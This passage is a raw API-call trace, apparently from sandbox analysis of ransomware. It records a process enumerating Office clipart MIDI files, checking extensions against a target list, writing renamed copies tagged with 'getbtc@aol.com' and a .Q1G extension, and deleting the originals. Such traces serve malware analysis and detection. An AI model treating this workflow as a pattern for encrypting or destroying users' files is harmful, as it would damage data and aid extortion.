lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0242.252] lstrlenW (lpString=".jpg") returned 4 [0242.252] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.252] lstrcmpiW (lpString1=".MID", lpString2=".Q1G") returned -1 [0242.252] lstrlenW (lpString="INDST_01.MID") returned 12 [0242.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0242.253] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=8568) returned 1 [0242.253] CloseHandle (hObject=0x388) returned 1 [0242.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid")) returned 0x20 [0242.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0242.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0242.254] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.254] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0242.254] GetLastError () returned 0x0 [0242.254] ReadFile (in: hFile=0x388, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x2178, lpOverlapped=0x0) returned 1 [0242.258] WriteFile (in: hFile=0x200, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x2180, lpOverlapped=0x0) returned 1 [0242.259] ReadFile (in: hFile=0x388, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0242.259] WriteFile (in: hFile=0x200, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.259] SetEndOfFile (hFile=0x200) returned 1 [0242.259] CloseHandle (hObject=0x200) returned 1 [0242.259] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.259] SetEndOfFile (hFile=0x388) returned 1 [0242.263] CloseHandle (hObject=0x388) returned 1 [0242.263] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0242.264] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid")) returned 1 [0242.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0242.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0242.264] lstrlenW (lpString=".doc") returned 4 [0242.264] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.264] lstrlenW (lpString=".docx") returned 5 [0242.264] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0242.264] lstrlenW (lpString=".pdf") returned 4 [0242.264] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.264] lstrlenW (lpString=".xls") returned 4 [0242.264] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.264] lstrlenW (lpString=".xlsx") returned 5 [0242.264] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0242.264] lstrlenW (lpString=".ppt") returned 4 [0242.264] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0242.265] lstrlenW (lpString=".zip") returned 4 [0242.265] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.265] lstrlenW (lpString=".rar") returned 4 [0242.265] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.265] lstrlenW (lpString=".bz2") returned 4 [0242.265] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.265] lstrlenW (lpString=".7z") returned 3 [0242.265] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0242.265] lstrlenW (lpString=".dbf") returned 4 [0242.265] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0242.265] lstrlenW (lpString=".1cd") returned 4 [0242.265] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0242.265] lstrlenW (lpString=".jpg") returned 4 [0242.265] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0242.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0242.265] lstrlenW (lpString=".doc") returned 4 [0242.265] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.265] lstrlenW (lpString=".docx") returned 5 [0242.265] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0242.265] lstrlenW (lpString=".pdf") returned 4 [0242.265] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.266] lstrlenW (lpString=".xls") returned 4 [0242.266] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.266] lstrlenW (lpString=".xlsx") returned 5 [0242.266] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0242.266] lstrlenW (lpString=".ppt") returned 4 [0242.266] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0242.266] lstrlenW (lpString=".zip") returned 4 [0242.266] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.266] lstrlenW (lpString=".rar") returned 4 [0242.266] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.266] lstrlenW (lpString=".bz2") returned 4 [0242.266] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.266] lstrlenW (lpString=".7z") returned 3 [0242.266] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0242.267] lstrlenW (lpString=".dbf") returned 4 [0242.267] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0242.267] lstrlenW (lpString=".1cd") returned 4 [0242.267] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0242.267] lstrlenW (lpString=".jpg") returned 4 [0242.267] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.267] lstrcmpiW (lpString1=".MID", lpString2=".Q1G") returned -1 [0242.267] lstrlenW (lpString="JAVA_01.MID") returned 11 [0242.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0242.267] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=9797) returned 1 [0242.268] CloseHandle (hObject=0x388) returned 1 [0242.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid")) returned 0x20 [0242.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0242.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0242.268] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.268] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0242.268] GetLastError () returned 0x0 [0242.269] ReadFile (in: hFile=0x388, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x2645, lpOverlapped=0x0) returned 1 [0242.273] WriteFile (in: hFile=0x360, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x2650, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x2650, lpOverlapped=0x0) returned 1 [0242.274] ReadFile (in: hFile=0x388, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0242.274] WriteFile (in: hFile=0x360, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xea, lpOverlapped=0x0) returned 1 [0242.274] SetEndOfFile (hFile=0x360) returned 1 [0242.274] CloseHandle (hObject=0x360) returned 1 [0242.275] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.275] SetEndOfFile (hFile=0x388) returned 1 [0242.277] CloseHandle (hObject=0x388) returned 1 [0242.277] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0242.278] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid")) returned 1 [0242.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0242.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0242.278] lstrlenW (lpString=".doc") returned 4 [0242.278] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.278] lstrlenW (lpString=".docx") returned 5 [0242.278] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0242.278] lstrlenW (lpString=".pdf") returned 4 [0242.278] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.278] lstrlenW (lpString=".xls") returned 4 [0242.278] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.278] lstrlenW (lpString=".xlsx") returned 5 [0242.278] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0242.278] lstrlenW (lpString=".ppt") returned 4 [0242.278] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0242.278] lstrlenW (lpString=".zip") returned 4 [0242.278] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.279] lstrlenW (lpString=".rar") returned 4 [0242.279] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.279] lstrlenW (lpString=".bz2") returned 4 [0242.279] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.279] lstrlenW (lpString=".7z") returned 3 [0242.279] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0242.279] lstrlenW (lpString=".dbf") returned 4 [0242.279] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0242.279] lstrlenW (lpString=".1cd") returned 4 [0242.279] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0242.279] lstrlenW (lpString=".jpg") returned 4 [0242.279] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0242.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0242.279] lstrlenW (lpString=".doc") returned 4 [0242.279] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.279] lstrlenW (lpString=".docx") returned 5 [0242.279] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0242.279] lstrlenW (lpString=".pdf") returned 4 [0242.279] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.279] lstrlenW (lpString=".xls") returned 4 [0242.279] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.279] lstrlenW (lpString=".xlsx") returned 5 [0242.279] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0242.279] lstrlenW (lpString=".ppt") returned 4 [0242.279] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0242.279] lstrlenW (lpString=".zip") returned 4 [0242.280] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.280] lstrlenW (lpString=".rar") returned 4 [0242.280] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.280] lstrlenW (lpString=".bz2") returned 4 [0242.280] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.280] lstrlenW (lpString=".7z") returned 3 [0242.280] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0242.280] lstrlenW (lpString=".dbf") returned 4 [0242.280] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0242.280] lstrlenW (lpString=".1cd") returned 4 [0242.280] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0242.280] lstrlenW (lpString=".jpg") returned 4 [0242.280] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.280] lstrcmpiW (lpString1=".MID", lpString2=".Q1G") returned -1 [0242.280] lstrlenW (lpString="JNGLE_01.MID") returned 12 [0242.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0242.281] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=5843) returned 1 [0242.281] CloseHandle (hObject=0x388) returned 1 [0242.281] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid")) returned 0x20 [0242.281] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0242.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0242.281] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.281] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0242.283] GetLastError () returned 0x0 [0242.283] ReadFile (in: hFile=0x388, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x16d3, lpOverlapped=0x0) returned 1 [0242.285] WriteFile (in: hFile=0x360, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x16e0, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x16e0, lpOverlapped=0x0) returned 1 [0242.286] ReadFile (in: hFile=0x388, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0242.286] WriteFile (in: hFile=0x360, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.286] SetEndOfFile (hFile=0x360) returned 1 [0242.287] CloseHandle (hObject=0x360) returned 1 [0242.287] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.287] SetEndOfFile (hFile=0x388) returned 1 [0242.290] CloseHandle (hObject=0x388) returned 1 [0242.290] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0242.290] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid")) returned 1 [0242.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0242.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0242.291] lstrlenW (lpString=".doc") returned 4 [0242.291] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.291] lstrlenW (lpString=".docx") returned 5 [0242.291] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0242.291] lstrlenW (lpString=".pdf") returned 4 [0242.291] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.291] lstrlenW (lpString=".xls") returned 4 [0242.291] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.291] lstrlenW (lpString=".xlsx") returned 5 [0242.291] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0242.291] lstrlenW (lpString=".ppt") returned 4 [0242.291] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0242.291] lstrlenW (lpString=".zip") returned 4 [0242.291] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.291] lstrlenW (lpString=".rar") returned 4 [0242.291] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.291] lstrlenW (lpString=".bz2") returned 4 [0242.291] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.291] lstrlenW (lpString=".7z") returned 3 [0242.291] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0242.291] lstrlenW (lpString=".dbf") returned 4 [0242.291] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0242.291] lstrlenW (lpString=".1cd") returned 4 [0242.291] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0242.292] lstrlenW (lpString=".jpg") returned 4 [0242.292] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0242.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0242.292] lstrlenW (lpString=".doc") returned 4 [0242.292] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.292] lstrlenW (lpString=".docx") returned 5 [0242.292] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0242.292] lstrlenW (lpString=".pdf") returned 4 [0242.292] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.292] lstrlenW (lpString=".xls") returned 4 [0242.292] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.292] lstrlenW (lpString=".xlsx") returned 5 [0242.292] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0242.292] lstrlenW (lpString=".ppt") returned 4 [0242.292] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0242.292] lstrlenW (lpString=".zip") returned 4 [0242.292] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.292] lstrlenW (lpString=".rar") returned 4 [0242.292] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.292] lstrlenW (lpString=".bz2") returned 4 [0242.292] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.292] lstrlenW (lpString=".7z") returned 3 [0242.292] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0242.292] lstrlenW (lpString=".dbf") returned 4 [0242.292] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0242.292] lstrlenW (lpString=".1cd") returned 4 [0242.292] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0242.293] lstrlenW (lpString=".jpg") returned 4 [0242.293] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.293] lstrcmpiW (lpString1=".MID", lpString2=".Q1G") returned -1 [0242.293] lstrlenW (lpString="MUSIC_01.MID") returned 12 [0242.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0242.294] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=6880) returned 1 [0242.294] CloseHandle (hObject=0x388) returned 1 [0242.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft 